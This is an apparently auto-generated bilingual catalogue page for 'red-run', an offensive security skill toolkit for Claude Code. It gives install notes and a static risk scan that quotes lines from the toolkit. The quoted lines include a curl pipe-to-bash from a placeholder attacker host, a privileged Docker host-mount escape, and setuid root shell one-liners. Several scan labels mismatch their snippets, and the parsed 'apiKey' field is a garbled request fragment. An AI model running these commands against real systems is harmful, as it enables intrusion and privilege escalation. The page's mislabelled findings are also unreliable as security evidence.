SKILLS & AGENTS/Skill 与 Agent·CLAUDE-SKILL

red-run

blacklanternsecurity/red-run

Offensive security toolkit for Claude Code

打开仓库Open repository

怎么装：Install: git clone

02 / 现在的位置02 / Why now

它现在处在什么位置Where it stands right now

首次发现FIRST SEEN

03 OCT 202603 OCT 2026

增长GROWTH

+0.7%+0.7%

283 → 285 stars · 2 个快照283 → 285 stars · 2 snapshots

状态STATUS

持续活跃Active

03 / 它能帮你做什么03 / What it helps you do

它能帮你做成什么What it helps you do

04 / 安装04 / Install

怎么装How to install

GIT-CLONE

$

README 里给出的安装方式。The installation method given in the README.

PIPX

$

Python 用户的完整版安装，包含命令行工具。The full install for Python users, including the command-line tool.

两种装法选一个即可 —— 上面那条给命令行用户，下面那条给写代码的用户。Pick one of the two — the first is for command-line users, the second for people writing code.

05 / 限制与风险05 / Limits and risk

限制与风险Limits and risk

风险不是警告，是可信度的一部分。以下结论只基于文档静态扫描，我们不会执行项目里的任何代码。Risk here is evidence, not an alarm. These findings come from static scanning of the docs; we never execute a project’s code.

限制LIMITS

存在风险Risk found

01需要 API KeyREQUIRES API KEY: 是Yes
02需要本地环境NEEDS LOCAL RUNTIME: 是Yes
03需要 DockerNEEDS DOCKER: 未在文档中发现Not found in the docs
04难度DIFFICULTY: 需要本地环境Needs a local runtime

PROVENANCE · 这些结论的依据是什么Where these conclusions come from

来源 URLSource URL: https://github.com/blacklanternsecurity/red-run
原始数据哈希Raw data hash: 0c1b207bac51eeacb33243d83b1e6922
解析时间Parsed at: 2026-10-03T23:17:43.810Z
最后一次验证Last verified: 2026-10-04T08:53:33.891Z
增长测量时间Growth measured: 2026-10-03T23:24:59.911Z
发现查询Discovery queries: focus:token:code:context-window
分类来源Category source: rules
焦点Focus: token (3)

静态扫描STATIC SCAN

01下载未知二进制Downloads an unknown binaryskills/ctf/SKILL.md

`cp operator/templates/dump-state.sh engagement/dump-state.sh && chmod +x engagement/dump-state.sh`

02执行远程脚本Runs a remote scriptskills/network/container-escapes/SKILL.md
```
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash
```
03下载未知二进制Downloads an unknown binaryskills/network/container-escapes/SKILL.md
```
chmod +x /cmd
```
04需要系统权限Needs system permissionsskills/network/container-escapes/SKILL.md
```
docker run -it -v /:/host --privileged ubuntu chroot /host bash
```
05执行远程脚本Runs a remote scriptskills/privesc/linux-discovery/SKILL.md
```
curl -sL https://ATTACKER/linpeas.sh | bash
```
06需要系统权限Needs system permissionsskills/privesc/linux-file-path-abuse/SKILL.md
```
# Or use --privileged for full host access
```
07需要系统权限Needs system permissionsskills/ad/acl-abuse/SKILL.md
```
sudo ntpdate DC_IP
```

08读取 API KeyReads an API keyskills/ad/acl-abuse/SKILL.md

**Use shadow credentials (Step 2 Option A) instead whenever possible.**

09需要系统权限Needs system permissionsskills/ad/ad-discovery/SKILL.md
```
requires sudo which subagents cannot run.
```
10读取 API KeyReads an API keyskills/ad/ad-discovery/SKILL.md
```
Use when no valid credentials are available yet.
```
11控制浏览器Controls a browserskills/ad/adcs-access-and-relay/SKILL.md
```
# Find writable shares via CDP
```

12控制浏览器Controls a browserskills/ad/adcs-persistence/SKILL.md

- `-crl 'ldap:///'`: CRL distribution point — KDC checks for CDP presence and

13读写本地文件Reads and writes local filesskills/network/container-escapes/SKILL.md
```
# Access host filesystem
```

14执行 Shell 命令Runs shell commandsskills/privesc/linux-discovery/SKILL.md

| `cap_setuid+ep` | Direct root: `python -c 'import os; os.setuid(0); os.system("/bin/bash")'` |

15执行 Shell 命令Runs shell commandsskills/privesc/linux-file-path-abuse/SKILL.md
```
subprocess.call(["/bin/bash", "-p"])
```
16读写本地文件Reads and writes local filesskills/privesc/linux-sudo-suid-capabilities/SKILL.md
```
`open_by_handle_at()` to access host filesystem from within a container. Use the
```

这里只做静态扫描：读 README、SKILL.md 和依赖清单，不执行代码。没有命中不代表安全。This is static scanning only: we read the README, SKILL.md and dependency list, and never execute code. No findings does not mean safe.

完整解析证据 JSONFull parse evidence JSON

{
  "agents": [
    {
      "agent": "claude-code",
      "evidence": "tree: .claude/"
    }
  ],
  "apiKey": "session=SESSION; device_token=STOLEN_TOKEN\" \\ \"https://TARGET/dashboard\" ``` ##",
  "docker": null,
  "taxonomy": {
    "scores": {
      "design": 0,
      "ai-tools": 1,
      "dev-tools": 0,
      "indie-web": 0,
      "skill-agent": 4,
      "productivity": 0
    },
    "primary": "skill-agent",
    "secondary": "claude-skill"
  },
  "localRuntime": "on http server + curl/wget # Run locally on pivot host — full speed, no proxycha",
  "skillMdTotal": 80,
  "skillMdErrors": [],
  "treeTruncated": false,
  "categoryScores": {
    "data": 1,
    "agent": 0,
    "media": 0,
    "design": 0,
    "browser": 0,
    "devtool": 3,
    "security": 10,
    "marketing": 0,
    "productivity": 0
  },
  "classification": [
    {
      "signal": "60 SKILL.md with name + description",
      "weight": 0.95
    },
    {
      "signal": "skills/ directory with 80 markdown files",
      "weight": 0.75
    },
    {
      "signal": ".mcp.json (configures servers it uses)",
      "weight": 0.3
    },
    {
      "signal": "description mentions AI",
      "weight": 0.2
    }
  ],
  "scannedSources": [
    "readme",
    "skills/_template/SKILL.md",
    "skills/ad/acl-abuse/SKILL.md",
    "skills/ad/ad-discovery/SKILL.md",
    "skills/ad/ad-persistence/SKILL.md",
    "skills/ad/adcs-access-and-relay/SKILL.md",
    "skills/ad/adcs-persistence/SKILL.md",
    "skills/ad/adcs-template-abuse/SKILL.md",
    "skills/ad/auth-coercion-relay/SKILL.md",
    "skills/ad/credential-dumping/SKILL.md",
    "skills/ad/gpo-abuse/SKILL.md",
    "skills/ad/kerberos-delegation/SKILL.md",
    "skills/ad/kerberos-roasting/SKILL.md",
    "skills/ad/kerberos-ticket-forging/SKILL.md",
    "skills/ad/pass-the-hash/SKILL.md",
    "skills/ad/sccm-exploitation/SKILL.md",
    "skills/ad/trust-attacks/SKILL.md",
    "skills/credential/password-spraying/SKILL.md",
    "skills/ctf/SKILL.md",
    "skills/evasion/av-edr-evasion/SKILL.md",
    "skills/legacy/SKILL.md",
    "skills/network/container-escapes/SKILL.md",
    "skills/network/database-enumeration/SKILL.md",
    "skills/network/infrastructure-enumeration/SKILL.md",
    "skills/network/network-recon/SKILL.md",
    "skills/network/pivoting-tunneling/SKILL.md",
    "skills/network/remote-access-enumeration/SKILL.md",
    "skills/network/smb-enumeration/SKILL.md",
    "skills/network/smb-exploitation/SKILL.md",
    "skills/network/xmpp-enumeration/SKILL.md",
    "skills/post-exploit/credential-recovery/SKILL.md",
    "skills/privesc/linux-cron-service-abuse/SKILL.md",
    "skills/privesc/linux-discovery/SKILL.md",
    "skills/privesc/linux-file-path-abuse/SKILL.md",
    "skills/privesc/linux-kernel-exploits/SKILL.md",
    "skills/privesc/linux-sudo-suid-capabilities/SKILL.md",
    "skills/privesc/windows-credential-harvesting/SKILL.md",
    "skills/privesc/windows-discovery/SKILL.md",
    "skills/privesc/windows-kernel-exploits/SKILL.md",
    "skills/privesc/windows-service-dll-abuse/SKILL.md",
    "skills/privesc/windows-token-impersonation/SKILL.md",
    "skills/privesc/windows-uac-bypass/SKILL.md",
    "skills/research/unknown-vector-analysis/SKILL.md",
    "skills/retrospective/SKILL.md",
    "skills/web/2fa-bypass/SKILL.md",
    "skills/web/ajp-ghostcat/SKILL.md",
    "skills/web/browser-exploitation/SKILL.md",
    "skills/web/command-injection/SKILL.md",
    "skills/web/cors-misconfiguration/SKILL.md",
    "skills/web/csrf/SKILL.md",
    "skills/web/deserialization-dotnet/SKILL.md",
    "skills/web/deserialization-java/SKILL.md",
    "skills/web/deserialization-php/SKILL.md",
    "skills/web/file-upload-bypass/SKILL.md",
    "skills/web/idor/SKILL.md",
    "skills/web/jwt-attacks/SKILL.md",
    "skills/web/ldap-injection/SKILL.md",
    "skills/web/lfi/SKILL.md",
    "skills/web/nosql-injection/SKILL.md",
    "skills/web/oauth-attacks/SKILL.md",
    "skills/web/password-reset-poisoning/SKILL.md"
  ],
  "skillMdFetched": 60
}